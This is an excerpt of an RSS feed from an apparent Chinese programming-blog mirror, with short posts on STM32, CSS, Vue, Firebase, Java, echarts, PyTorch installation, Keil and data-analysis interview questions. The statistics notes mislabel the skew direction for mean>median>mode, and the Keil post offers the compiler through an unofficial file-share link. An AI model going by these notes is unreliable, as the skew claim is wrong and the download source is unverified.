1.搜索需要的单片机型号&#xA;2.点击选中相应的单片机，同时可以点击&#34;星号&#34;收藏,以便下次能够快速找到&#xA;3.点击&#34;Start Project&#34;创建工程 注意:如果第2步中没有点击选择相应的单片机，第3步中的&#34;Start Project&#34;无法点击哦&#xA;RCC时钟配置 System Core-&amp;gt;RCC-&amp;gt;High Speed Clock(HSE)-&amp;gt;Crystal/Ceramic Resonator&#xA;时钟相关配置可以参考stm32的参考手册，后期也有计划记录下时钟相关的配置博客。这里先挖个坑，后面来填。&#xA;时钟树配置 时钟树的配置仔细核对与下图一致即可。&#xA;注意:鼠标需要先点击&#34;Clock Configuration&#34;切换到时钟树配置界面&#xA;为了核对方便</description>
    </item>
    <item>
      <title>03_css的文本样式设置</title>
      <link>https://bchobby.github.io/posts/99b74e00a46deb23bdc1cb9a568ca583/</link>
      <pubDate>Mon, 11 Sep 2023 15:53:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99b74e00a46deb23bdc1cb9a568ca583/</guid>
      <description>一、css 的文字文本样式设置 1、设置文字的颜色: color 颜色设置的方式：&#xA;red（红色）颜色名表示#RRGGBB十六进制法rgb(16, 78, 139)rgb表示法（红-绿-蓝（red-green-blue ））rgba(16, 78, 139,0.5)RGBa 扩展了 RGB 颜色模式，它包含了阿尔法通道，允许设定一个颜色的透明度。a 表示透明度：0=透明；1=不透明 示例：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;设置文字的颜色&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; div { /* 1.设置文字的颜色:color */ color: red; color:#00ff00; color:rgb(0,0,255); color:rgba(0,0,255,0.6); } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;这是设置了文本样式&amp;lt;/div&amp;gt; &amp;lt;h4&amp;gt;这是没有设置文本样式&amp;lt;/h1&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 2、设置文字的大小: font-size &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;设置文字的大小&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; div { /* 2.设置文字的大小:font-size*/ font-size: 30px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;这是设置了文本样式&amp;lt;/div&amp;gt; &amp;lt;h4&amp;gt;这是没有设置文本样式&amp;lt;/h1&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 3、设置文字是否加粗: font-weight(加粗/ 不加粗 属性值：</description>
    </item>
    <item>
      <title>数分笔试题-牛客</title>
      <link>https://bchobby.github.io/posts/129150468872dee882058b3ca9d6388e/</link>
      <pubDate>Mon, 11 Sep 2023 15:49:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/129150468872dee882058b3ca9d6388e/</guid>
      <description>这里写目录标题 小红书2020校招数分笔试题一1、P(AB)&amp;lt;=(P(A)+P(B))/2 是对的，等号在A与B重合的时候成立2、回访数据可以用于评估用户黏性3、评估模型之后得出模型存在偏差，解决方法4、0到1000当中有多少个数字带有15、在EXCEL输入以零开头的文本型数字时需在输入的数据前面加‘6、抽样调查遵循的原则是随机原则7、散点图可以用来刻画两个变量之间是否具有相关关系8、均值=中位数=众数：正态分布9、模型选择就是选择在未知数据集上预测性能较好的模型，两种常用的模型选择方法：正则化与交叉验证10、正态分布的偏度为0，峰度为311、sum(a, b) 指的是a+b12、假设一个元组在子查询1中出现m次，在子查询2中出现n次，该元组在“子查询1 Union ALL 子查询2”中出现m + n次。在“子查询1 Union 子查询2”中出现1次。13、抽样估计的优良标准14、常见的聚类算法15、substring(&#39;109.120.59.63&#39;,5,3) = 120 截取字符串16、 SQL 中，函数 &#34;percentile(totalgmv, 0.5)&#34; 表示计算变量 &#34;totalgmv&#34; 的第 50 百分位数。 小红书2020校招数分笔试题一 1、P(AB)&amp;lt;=(P(A)+P(B))/2 是对的，等号在A与B重合的时候成立 P(AB)=P(A)*P(B|A)=P(B)*P(A|B)&#xA;2P(AB)=P(A)*P(B|A)+P(B)*P(A|B)&#xA;P(AB)=(P(A)*P(B|A)+P(B)*P(A|B))/2&#xA;由于：P(B|A)&amp;lt;=1,P(A|B)&amp;lt;=1&#xA;所以：P(A)*P(B|A)+P(B)*P(A|B)&amp;lt;=P(A)+P(B)&#xA;因此：P(AB)&amp;lt;=(P(A)+P(B))/2&#xA;2、回访数据可以用于评估用户黏性 回访数据是指在客户服务或市场调研过程中，记录和收集的关于已经进行过一次交互或交流的客户或受访者的相关信息。它主要用于评估和跟踪客户满意度、市场反馈或调研结果。&#xA;通过分析回访数据，可以获取以下关于用户黏性的相关信息：频率和持续时间、反馈和问题解决、交叉使用和推荐、留存率和重新访问率&#xA;3、评估模型之后得出模型存在偏差，解决方法 增加模型规模（比如神经元/层的数量、、减少或去除正则化（L2正则化，L1正则化，dropout)&#xA;加入更多训练数据通常可以解决方差问题，但对偏差问题帮助不大&#xA;4、0到1000当中有多少个数字带有1 除了1000，把所有数都看成三位数，个位、十位、百位都可以取0，2，3，4，，，9一共9种情况，所以是9的3次方&#xA;不包含1的数字有9的3次方=729个，所以包含1的数字有1001-729=272个&#xA;5、在EXCEL输入以零开头的文本型数字时需在输入的数据前面加‘ 6、抽样调查遵循的原则是随机原则 7、散点图可以用来刻画两个变量之间是否具有相关关系 8、均值=中位数=众数：正态分布 均值&amp;gt;中位数&amp;gt;众数：负偏态分布（右偏）&#xA;均值&amp;lt;中位数&amp;lt;众数：正偏态分布（左偏）&#xA;9、模型选择就是选择在未知数据集上预测性能较好的模型，两种常用的模型选择方法：正则化与交叉验证 10、正态分布的偏度为0，峰度为3 11、sum(a, b) 指的是a+b sum(a:b) 才是a-b的所有值之和&#xA;12、假设一个元组在子查询1中出现m次，在子查询2中出现n次，该元组在“子查询1 Union ALL 子查询2”中出现m + n次。在“子查询1 Union 子查询2”中出现1次。 13、抽样估计的优良标准 抽样估计的优良标准：无偏性、一致性、有效性&#xA;影响时间序列的因素有四个：长期趋势、季节变动、循环波动、不规则波动&#xA;14、常见的聚类算法 K-means聚类：K均值聚类是一种基于距离的划分聚类方法。它将数据集分成K个簇，每个簇以其簇中心（质心）为代表。在算法的迭代过程中，通过最小化数据点与其所属簇质心的距离来优化聚类效果。&#xA;层次聚类（Hierarchical Clustering）：层次聚类是一种分层式的聚类方法，根据对象之间的相似性逐步生成聚类层次。它可以通过自底向上（凝聚层次聚类）或自顶向下（分裂层次聚类）的方法构建聚类层次结构。层次聚类的结果可以表示为树状结构（聚类树或树状图）。</description>
    </item>
    <item>
      <title>芯片设计中的ECO是什么？</title>
      <link>https://bchobby.github.io/posts/6b20d60451ed5e464a55399067528f8a/</link>
      <pubDate>Mon, 11 Sep 2023 15:33:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b20d60451ed5e464a55399067528f8a/</guid>
      <description>芯片设计中的ECO是什么？-腾讯云开发者社区-腾讯云 如标题所写，我们今天聊一聊IC设计种的ECO。在展开关于ECO的概念之前，我们先大致捋下数字IC设计的流程，有助于我们后面的讨论。&#xA;数字IC设计流程简述&#xA;1、确定项目需求&#xA;根据市场或者芯片功能要求，设计芯片的spec，得到可行的芯片设计方案。&#xA;2、系统级设计&#xA;用系统建模语言对各模块进行描述&#xA;3、前端设计&#xA;RTL设计、功能仿真、硬件原型验证、电路综合、DFT、STA&#xA;4、后端设计&#xA;版图设计、物理验证、后仿真&#xA;在复杂的设计流程中，bug是难以避免的。对于芯片设计而言，bug自然是越早发现越好。但是仿真验证差不多，进入RTL freeze阶段后，一旦发现新的bug，就变得有些麻烦。&#xA;因为RTL freeze前，你可以通过修改RTL来更正你发现的bug。然而RTL freeze之后，后端人员做好了floorplan，或者已经开始布局布线，这个时候再去重新做一遍，既耗时耗力，又会惹怒后端。这显然不是好的选择。&#xA;如果这个时候即将tapeout，甚至已经tapeout，根本就没有机会修改RTL了。&#xA;这个时候，我们就需要ECO，来修正我们的失误了。&#xA;什么是ECO？&#xA;ECO，即Engineering Change Order的缩写，指工程改变命令。&#xA;什么意思呢？简单来说就是手动修改集成电路的过程，换句话说，就是直接手动修改netlist。&#xA;一般应用于数字芯片版图设计。&#xA;对于数字IC设计而言，ECO这一步实际上是正常设计流程的一个例外。它是对设计的layout进行局部的小范围的修改和重新布线，而不影响到设计的其它部分的布局布线，所以其它部分的时序信息没有改变。&#xA;根据功能的不同，ECO可以分为功能改变和非功能改变。功能改变是指由于来自客户对设计的追加需求（spec改变）或者设计的最后阶段发现芯片存在 bug 的情况下进行的 ECO；而非功能改变则是为了在不改变 RTL 网表的基础上修复部分时序以及串扰等问题而做的 ECO。&#xA;说到底，ECO的目的就是省钱省时间。&#xA;那么在不同阶段，进行ECO，有什么样的区别呢？&#xA;在阶段上，数字IC设计中的ECO大体可以分为：tapeout前的ECO，tapeout过程的ECO，tapeout后的ECO。&#xA;Tapeout前的ECO&#xA;在RTL freeze后，tapeout前这一阶段，RTL已经没法修改，但是好歹也没有进入tapeout，还有补救的机会。&#xA;此时数字前端负责写coding的工程师需要在final RTL的基础上，通过写ECO脚本的方式来实现功能上的ECO。&#xA;ECO代价：时间成本，相对较小&#xA;Tapeout过程中的ECO&#xA;当数字后端实现后的design，timing已经符合signoff标准，DRC已经clean，LVS已经pass，IR drop，MVRC，Formality，DRCPLUS等都已经pass。&#xA;但是，数字前端设计工程师还没来得及做完大部分case的后仿，而且芯片又面临着Timing-TO-Market的压力。此时，进入tapeout阶段。&#xA;为什么不给自己留更多余地呢？因为foundary会先做base layer的加工。只要后期仿真发现的问题，不需要再添加额外的cell，就不耽误之前的tapeout（此处有点像流水线）。即使发现需要新加几个cell，这个时候仍然可以通过替换后端实现过程中所加的ECO cell或者spare cell来实现。&#xA;ECO代价：时间成本较大&#xA;Tapeout后的ECO&#xA;当芯片已经tapeout回来，我们在测试过程中却发现了必须修复的bug。这个时候做ECO的代价相对前面两种，就要大很多。&#xA;改动少的可能仅需要改几层Metal layer，改动大的话可能需要动十几层Metal layer，甚至重新流片。在此阶段，前端设计工程师需要出具ECO方案，同时让后端工程师进行评估，主要评估需要改动的层数，timing 是否能快速收敛等方面的风险。&#xA;在一次次确认后，敲定方案，进行ECO。&#xA;ECO代价：时间与金钱成本巨大&#xA;由此可见，即使ECO能够亡羊补牢，但是为了节省更多的时间和金钱成本，还是尽早发现问题，尽早解决吧。&#xA;关于ECO的分类：&#xA;常见的ECO可以分为pre mask ECO和post mask ECO，也就是任何layer都可以动到的ECO和只修改metal layer的ECO。&#xA;两者的区别在于，pre mask ECO的晶体管和布线层都还没有开始做出mask，此时可以往netlist里面添加cell。而post mask ECO的晶体管层已经开始进行加工了，但是布线层还没有加工，还能修改，可以通过ECO改变各种已有cell的连线关系，但是不能添加新的cell，有一定局限。</description>
    </item>
    <item>
      <title>Firebase常用功能和官方Demo简介</title>
      <link>https://bchobby.github.io/posts/56368ff5c44de7b735571db3fe68e087/</link>
      <pubDate>Mon, 11 Sep 2023 11:34:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56368ff5c44de7b735571db3fe68e087/</guid>
      <description>一、Firebase简介 Firebase刚开始是一家实时后端数据库创业公司，它能帮助开发者很快的写出Web端和移动端的应用。自2014年10月Google收购Firebase以来，用户可以在更方便地使用Firebase的同时，结合Google的云服务。现在的Firebase算是谷歌旗下的一个强大的工具，不过使用Firebase需要翻墙。&#xA;二、Firebase功能介绍 Firebase docs: https://firebase.google.com/docs/android/setup?hl=zh-cn&#xA;App埋点：Analytics : 应用内数据上报，帮助分析用户在app内的行为 开发文档： https://firebase.google.com/docs/analytics?hl=zh-cn&#xA;Firebase 的核心是 Google Analytics，这是一种免费提供的无限分析解决方案。 Analytics 集成了多个 Firebase 功能，可为您提供最多 500 个不同事件的无限报告，您可以使用 Firebase SDK 定义这些事件。分析报告可帮助您清楚地了解用户的行为方式，从而使您能够就应用营销和性能优化做出明智的决策。&#xA;云消息推送：Firebase Cloud Message 即：FCM，帮助app推送通知 开发文档：https://firebase.google.com/docs/cloud-messaging?hl=zh-cn&#xA;Firebase 云消息传递 (FCM) 是一种跨平台消息传递解决方案，可让您免费可靠地发送消息。&#xA;使用 FCM，您可以通知客户端应用程序有新的电子邮件或其他数据可供同步。您可以发送通知消息以推动用户重新参与和保留。对于即时消息传递等用例，消息可以将高达 4000 字节的有效负载传输到客户端应用程序。重点是：FCM 支持Android,IOS，WEB,Flutter,Unity&#xA;身份验证：Authentication : 集成了多个三方登录 开发文档：https://firebase.google.com/docs/auth/?hl=zh-cn&#xA;方便的实现google登录，facebook登录，twitter登录，github登录，邮箱登录，电话登录以及自定义验证登录。大多数应用程序需要知道用户的身份。了解用户身份后，应用程序可以将用户数据安全地保存在云中，并在用户的所有设备上提供相同的个性化体验。&#xA;Firebase 身份验证提供后端服务、易于使用的 SDK 和现成的 UI 库来对应用的用户进行身份验证。它支持使用密码、电话号码、流行的联合身份提供商（如 Google、Facebook 和 Twitter 等）进行身份验证。&#xA;Firebase 身份验证与其他 Firebase 服务紧密集成，并利用 OAuth 2.0 和 OpenID Connect 等行业标准，因此可以轻松与自定义后端集成。&#xA;当您使用 Identity Platform 升级到 Firebase 身份验证时，您会解锁其他功能，例如多重身份验证、阻止功能、用户活动和审核日志记录、SAML 和通用 OpenID Connect 支持、多租户和企业级支持。</description>
    </item>
    <item>
      <title>批量修改文件名</title>
      <link>https://bchobby.github.io/posts/41f039014af9e779a74bbc8d3426a4ff/</link>
      <pubDate>Mon, 11 Sep 2023 11:22:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41f039014af9e779a74bbc8d3426a4ff/</guid>
      <description>根据文件名对应表，批量修改文件名&#xA;tt.txt&#xA;原文件名1,新文件名1 原文件名2,新文件名2 test.bat&#xA;@echo off @echo off &amp;amp;setlocal enabledelayedexpansion rem echo 当前目录:%~dp0 set DestPath=%~dp0 rem 查找的扩展名 set DestExt=*.* rem 不提示删除之前生成的问题，不存在也不提示 del /Q /F /A list.csv 2&amp;gt;nul rem 循环文件目录里所有的文件(包括子文件夹里的文件) for /f &#34;usebackq delims=&#34; %%i in (`dir /b/a-d/s &#34;%DestPath%\%DestExt%&#34;`) do ( rem 输出文件路径及文件名到list.csv文件里 set &#34;t=%%~nxi&#34; rem echo !t! setlocal enabledelayedexpansion for /f &#34;delims=, tokens=1-2&#34; %%i in (tt.txt) do ( rem echo %%i.jpg rem echo %%~nxi rem echo %%i set &#34;</description>
    </item>
    <item>
      <title>VUE3项目生成二维码</title>
      <link>https://bchobby.github.io/posts/707fe2356d2164000c2787ad70ab6299/</link>
      <pubDate>Mon, 11 Sep 2023 10:11:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/707fe2356d2164000c2787ad70ab6299/</guid>
      <description>1.安装 qrcode.vue&#xA;yarn add qrcode.vue //安装完成以后package.json如下 //&#34;qrcode.vue&#34;: &#34;^3.4.1&#34;, 2.直接CV如下代码，即可生成&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-row :gutter=&#34;20&#34;&amp;gt; &amp;lt;el-col :span=&#34;6&#34;&amp;gt; &amp;lt;el-input v-model=&#34;codeVal&#34; placeholder=&#34;请输入二维码的值&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;6&#34;&amp;gt; &amp;lt;el-button @click=&#34;changeCode&#34;&amp;gt; 生成二维码的值 &amp;lt;/el-button&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;qrcode-vue v-if=&#34;shouldGenerateQRCode&#34; :value=&#34;value&#34; :size=&#34;120&#34; :margin=&#34;2&#34; :level=&#34;level&#34; :render-as=&#34;renderAs&#34; /&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import { ref, computed } from &#39;vue&#39;; import QrcodeVue, { Level, RenderAs } from &#39;qrcode.vue&#39;; const value = ref(&#39;&#39;); const codeVal = ref(&#39;&#39;); const level = ref&amp;lt;Level&amp;gt;(&#39;M&#39;); const renderAs = ref&amp;lt;RenderAs&amp;gt;(&#39;svg&#39;); const changeCode = () =&amp;gt; { if (codeVal.</description>
    </item>
    <item>
      <title>操作系统原理与实践 第2章 习题【附答案】</title>
      <link>https://bchobby.github.io/posts/f2dbc2cd9cad0cd80fc1ab1718fe72f3/</link>
      <pubDate>Sun, 10 Sep 2023 22:37:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2dbc2cd9cad0cd80fc1ab1718fe72f3/</guid>
      <description>第2章进程管理作业 题量: 19 满分: 100&#xA;一. 单选题（共10题，50分） 1. (单选题, 5分)进程和程序的一个本质区别是( )。 A. 前者为动态的,后者为静态的B. 前者存储在内存,后者存储在外存C. 前者在一个文件中,后者在多个文件中D. 前者分时使用CPU,后者独占CPU 我的答案: A:前者为动态的,后者为静态的;正确答案: A:前者为动态的,后者为静态的;&#xA;5分&#xA;2. (单选题, 5分)进程在系统中是否存在的唯一标志是( )。 A. 数据集合B. 目标程序C. 源程序D. 进程控制块 我的答案: D:进程控制块;正确答案: D:进程控制块;&#xA;5分&#xA;3. (单选题, 5分)处理器执行的指令被分成两类,其中有一类成为特权指令,它只允许( )使用。 A. 操作员B. 联机用户C. 操作系统D. 目标程序 我的答案: C:操作系统;正确答案: C:操作系统;&#xA;5分&#xA;4. (单选题, 5分)进程所请求的一次打印输出结束后,将使进程状态从( )。 A. 运行态变为就绪态B. 运行态变为等待态C. 就绪态变为运行态D. 等待态变为就绪态 我的答案: D:等待态变为就绪态;正确答案: D:等待态变为就绪态;&#xA;5分&#xA;5. (单选题, 5分)下述( )不属于多道程序运行的特征。 A. 多道B. 运行速度快C. 宏观上并行D. 实际上多道程序是串插运行的 我的答案: B:运行速度快;正确答案: B:运行速度快;</description>
    </item>
    <item>
      <title>visioFox使用</title>
      <link>https://bchobby.github.io/posts/df91ef19f8e3278f69b5e468d3f8ec99/</link>
      <pubDate>Sun, 10 Sep 2023 21:20:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df91ef19f8e3278f69b5e468d3f8ec99/</guid>
      <description>BROWSE LAST --查看最后一个文件&#xA;close all --关闭显示&#xA;● brow for fxywlb=‘FXA6’&#xA;● brow for inlist(fxzqdm,‘159100’,‘169100’)&#xA;从右边查询3位字符&#xA;brow for right(Jgtgdy,3)=‘321’&#xA;select right(Jgtgdy,3), from Sjsjg0123zb.dbf&#xA;从左边查询3位字符&#xA;brow for left(Jgtgdy,3)=‘321’&#xA;select left(Jgtgdy,3), from Sjsjg0123zb.dbf&#xA;截取指定位置指定长度&#xA;brow for substr(Jgzqdm,1,3)=‘161’&#xA;select substr(Jgzqdm,1,3), from Sjsjg0123zb.dbf&#xA;*修改&#xA;update Jsmx03_js961 set Ywlx=‘812’ where Ywlx=‘811’&#xA;*删除&#xA;delete for Ywlx=‘811’ and Qsbz=‘232’&#xA;pack&#xA;delete for Ywlx&amp;lt;&amp;gt;‘811’ and Ywlx&amp;lt;&amp;gt;‘812’&#xA;pack&#xA;*替换&#xA;replace Ywlx with ‘811’ for Ywlx=‘812’&#xA;replace all Rq with ‘20200327’</description>
    </item>
    <item>
      <title>echarts实现横向和纵向滚动条、dataZoom及其滚动条设置</title>
      <link>https://bchobby.github.io/posts/5648187ef05b7e3405caaac49dcee3f5/</link>
      <pubDate>Sun, 10 Sep 2023 18:12:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5648187ef05b7e3405caaac49dcee3f5/</guid>
      <description>echarts实现横向和纵向滚动条、dataZoom 前言 使用echarts会遇到这种情况，以柱状图为例子，当数据过多时，echarts图就会堆叠在一起，看起来十分难看。通常解决办法是通过减小barWidth值来缩小柱子宽度，但是若数据达到上百条，这场面是相当壮观。另一个很常用的就是在外部容器div添加overflow: scroll;，这确实能解决一些问题，但是若是数据量过少，就会显的非常稀疏，经历过的都懂。言归正传，以上都不是最佳解决方式，echarts其实已经为提供好相应的API配置了，无论是横向滚动还是纵向滚动，dataZoom都能满足。&#xA;1、横向滚动条 dataZoom: [ { // 设置滚动条的隐藏与显示 show: true, // 设置滚动条类型 type: &#34;slider&#34;, // 设置背景颜色 backgroundColor: &#34;rgb(19, 63, 100)&#34;, // 设置选中范围的填充颜色 fillerColor: &#34;rgb(16, 171, 198)&#34;, // 设置边框颜色 borderColor: &#34;rgb(19, 63, 100)&#34;, // 是否显示detail，即拖拽时候显示详细数值信息 showDetail: false, // 数据窗口范围的起始数值 startValue: 0, // 数据窗口范围的结束数值（一页显示多少条数据） endValue: 5, // empty：当前数据窗口外的数据，被设置为空。 // 即不会影响其他轴的数据范围 filterMode: &#34;empty&#34;, // 设置滚动条宽度，相对于盒子宽度 width: &#34;50%&#34;, // 设置滚动条高度 height: 8, // 设置滚动条显示位置 left: &#34;center&#34;, // 是否锁定选择区域（或叫做数据窗口）的大小 zoomLoxk: true, // 控制手柄的尺寸 handleSize: 0, // dataZoom-slider组件离容器下侧的距离 bottom: 3, }, { // 没有下面这块的话，只能拖动滚动条， // 鼠标滚轮在区域内不能控制外部滚动条 type: &#34;</description>
    </item>
    <item>
      <title>JAVA多态（instance of与类型转换）</title>
      <link>https://bchobby.github.io/posts/d26554b6595b627b0b41dd7d2227fe06/</link>
      <pubDate>Sun, 10 Sep 2023 17:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d26554b6595b627b0b41dd7d2227fe06/</guid>
      <description>多态 1. 同一个方法可以根据发送对象不同而采用多种不同的行为方式 2. 一个对象的实际类型是确定的，但可以指向对象的引用类型有很多（父类或者有关系的类） 3. 多态存在的条件： - 有继承关系 - 子类重写父类的方法 - 父类引用指向子类对象（Father f1 = new son();） 4. 注意： - 多态是方法的多态，属性没有多态性 - instance of 类型转换 引用类型 - 父类和子类有联系，转换异常（ClassCastEeception！） 示例1 测试类 public class Application { public static void main(String[] args) { /* 一个对象的实际类型是确定的 new Student(); new Person(); 可以指向的引用类型就不确定，父类的引用指向子类 */ // student 能调用的方法都是自己的或者继承父类的！ Student s1 = new Student(); //Person 父类型，可以指向子类，但不能调用子类独有的方法 Person s2 = new Student(); // Object 祖宗类 Object s3 = new Student(); s1.</description>
    </item>
    <item>
      <title>SAM &#43; YOLOv8 图像分割及对象检测</title>
      <link>https://bchobby.github.io/posts/4e25b9acb22ef06aadabd1f541813c60/</link>
      <pubDate>Sun, 10 Sep 2023 09:15:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e25b9acb22ef06aadabd1f541813c60/</guid>
      <description>SAM(Segment Anything Model）是由 Meta 的研究人员团队创建和训练的深度学习模型。该创新成果发表在 2023 年 4 月 5 日发表的一篇研究论文中，它立即引起了公众的广泛兴趣——相关的 Twitter 帖子迄今为止已累积超过 350 万次浏览：&#xA;计算机视觉专业人士现在将注意力转向 SAM——但为什么呢？&#xA;推荐：用 NSDT编辑器 快速搭建可编程3D场景&#xA;1、什么是SAM？ 在 Segment everything 研究论文中，SAM 被称为“基础模型”。&#xA;基础模型是在大量数据上训练的机器学习模型（通常通过自监督或半监督学习），其目的是在更具体的任务上使用和重新训练。&#xA;换句话说，SAM 是一个预训练模型，旨在适应其他任务（特别是通过微调）。&#xA;例如，SAM 可以重新训练并用于仅对数据集中的人员进行分割。&#xA;人物分割是 SAM 可以执行的一项附件任务，因为它已经在包含此类对象的数据集上进行了训练 - 但不仅如此！&#xA;2、SAM 是如何训练的？ SAM 在 SA-1B 数据集上进行了训练，该数据集由 Meta 与 Segment Anything 研究论文并行引入。&#xA;Facebook 母公司的数据集包含超过 1100 万张几乎在整个地球上收集的图像——这是开发具有泛化能力的模型的一个重要方面。&#xA;几乎在整个地球上收集的图像 – SA-1B 数据集&#xA;这些高质量图像（平均 1500×2250 像素）伴随着与数据集标签相对应的 11 亿个分割掩模。&#xA;Meta 使用此数据集的目的是为AI博士创建细分参考。 它已获得官方免费许可用于研究目的。&#xA;尽管信息量很大，但值得注意的是，掩模与类别无关。 换句话说，即使SAM可以生成一个人的掩模，它也无法表明这个掩模代表一个人。&#xA;这是需要牢记的重要一点，因为这意味着 SAM 必须与其他算法结合才能真正发挥作用。&#xA;让我们仔细看看。</description>
    </item>
    <item>
      <title>使用 iText 库给PDF文件加水印</title>
      <link>https://bchobby.github.io/posts/9dfecae1ae9cd4be7bbf2d7cb34f99ab/</link>
      <pubDate>Sun, 10 Sep 2023 01:55:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dfecae1ae9cd4be7bbf2d7cb34f99ab/</guid>
      <description>文章目录 iText 库介绍需要的依赖水印样式封装封装工具类内容笔记 iText 库介绍 iText 是一款流行的 Java PDF 库，它可以用来创建、读取、修改和提取 PDF 内容。iText 提供了许多 API，包括添加文本水印的功能。&#xA;注释：创建一个Springboot来测试 iText的使用，创建项目不做过多介绍&#xA;需要的依赖 &amp;lt;!-- iText 是一款流行的 Java PDF 库--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.itextpdf&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;itextpdf&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.5.13&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- lombok --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.28&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- hutool --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.hutool&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hutool-all&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.5.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 水印样式封装 创建 ITextAttributes 用于封装pdf水印样式&#xA;package com.test.testdemo.itext; import com.itextpdf.text.BaseColor; import com.itextpdf.text.DocumentException; import com.itextpdf.text.Element; import com.itextpdf.text.pdf.BaseFont; import lombok.Data; import java.io.IOException; /** * @Author Chenry.r * @Date 9/9/2023 下午10:11 * @Version 1.</description>
    </item>
    <item>
      <title>pip安装pytorch报错</title>
      <link>https://bchobby.github.io/posts/f1a6ee1a22e5c467858b6888688ed701/</link>
      <pubDate>Sat, 09 Sep 2023 23:15:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1a6ee1a22e5c467858b6888688ed701/</guid>
      <description>WARNING: Retrying (Retry(total=4, connect=None&#xA;时隔将近一年再去安装pytorch报错，在服务器linux环境下，&#xA;看了很多分享，最后试成功举例说：&#xA;pip install torch==1.8.0+cu111 torchvision==0.9.0+cu111 torchaudio==0.8.0 -f https://download.pytorch.org/whl/torch_stable.html 不行，去了以下地址找安装包&#xA;https://download.pytorch.org/whl/torch_stable.html 又看了博客还发现，这包还需要和python版本适配，系统装的是python3.9&#xA;cu101/torch-1.7.1%2Bcu101-cp39-cp39-linux_x86_64.whl&#xA;就是和这里的cp39对应起来，最后找到1.7.1版本的torch，&#xA;对应怎么去找torchvision，就是去官网找1.7.1的安装命令，&#xA;# CUDA 10.1 pip install torch==1.7.1+cu101 torchvision==0.8.2+cu101 torchaudio==0.7.2 -f https://download.pytorch.org/whl/torch_stable.html 给出了torchvision的版本，再去下包，同样对应pthon3.9版本&#xA;cu101/torchvision-0.8.2%2Bcu101-cp39-cp39-linux_x86_64.whl&#xA;最后用命令安装，按分享博客里说的，先装torch后装torchvision，&#xA;pip install torch-1.7.1+cu101-cp39-cp39-linux_x86_64.whl&#xA;pip install torchvision-0.8.2+cu101-cp39-cp39-linux_x86_64.whl</description>
    </item>
    <item>
      <title>最新keil安装出现的无数问题记录及解决办法</title>
      <link>https://bchobby.github.io/posts/3e32643a959d27b7c2660619c279d576/</link>
      <pubDate>Sat, 09 Sep 2023 20:27:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e32643a959d27b7c2660619c279d576/</guid>
      <description>报错问题现象如下：&#xA;*** Target &#39;Target 1&#39; uses ARM-Compiler &#39;Default Compiler Version 5&#39; which is not available.&#xA;安装最新keil 5 出现无数个问题。&#xA;我使用GD32去跑，或者STM32去跑，都是这个问题。&#xA;一、我先解决了GD32的问题： 在第2步中，切换一下，再进入keil，就OK了！&#xA;二、再解决STM32的问题： 我先参考的这篇博文【Keil5】*** Target ‘xxx‘ uses ARM-Compiler ‘Default Compiler Version 5‘ which is not available.解决方法_*** target &#39;flash&#39; uses arm-compiler &#39;default comp_Minion_R的博客-CSDN博客&#xA;1、第一步点击这里&#xA;2、第二步&#xA;3、第三步&#xA;4、进去后，找到ARM下的ARMCC，可能很多人没有，我参考上面文章的评论区。&#xA;但我也保存了，共享链接：https://pan.baidu.com/s/1rUQOoSo4XgQWbM1CMChSuw 提取码：kyky&#xA;5、点击后，它会出现如下图所示情况，点击close即可，到正常界面。&#xA;6、这个时候，你再来选择，锤子里的这个ARM，你试下编译，就不会报错了&#xA;以上经验分享，希望对相同问题的小伙伴，有所帮助。</description>
    </item>
    <item>
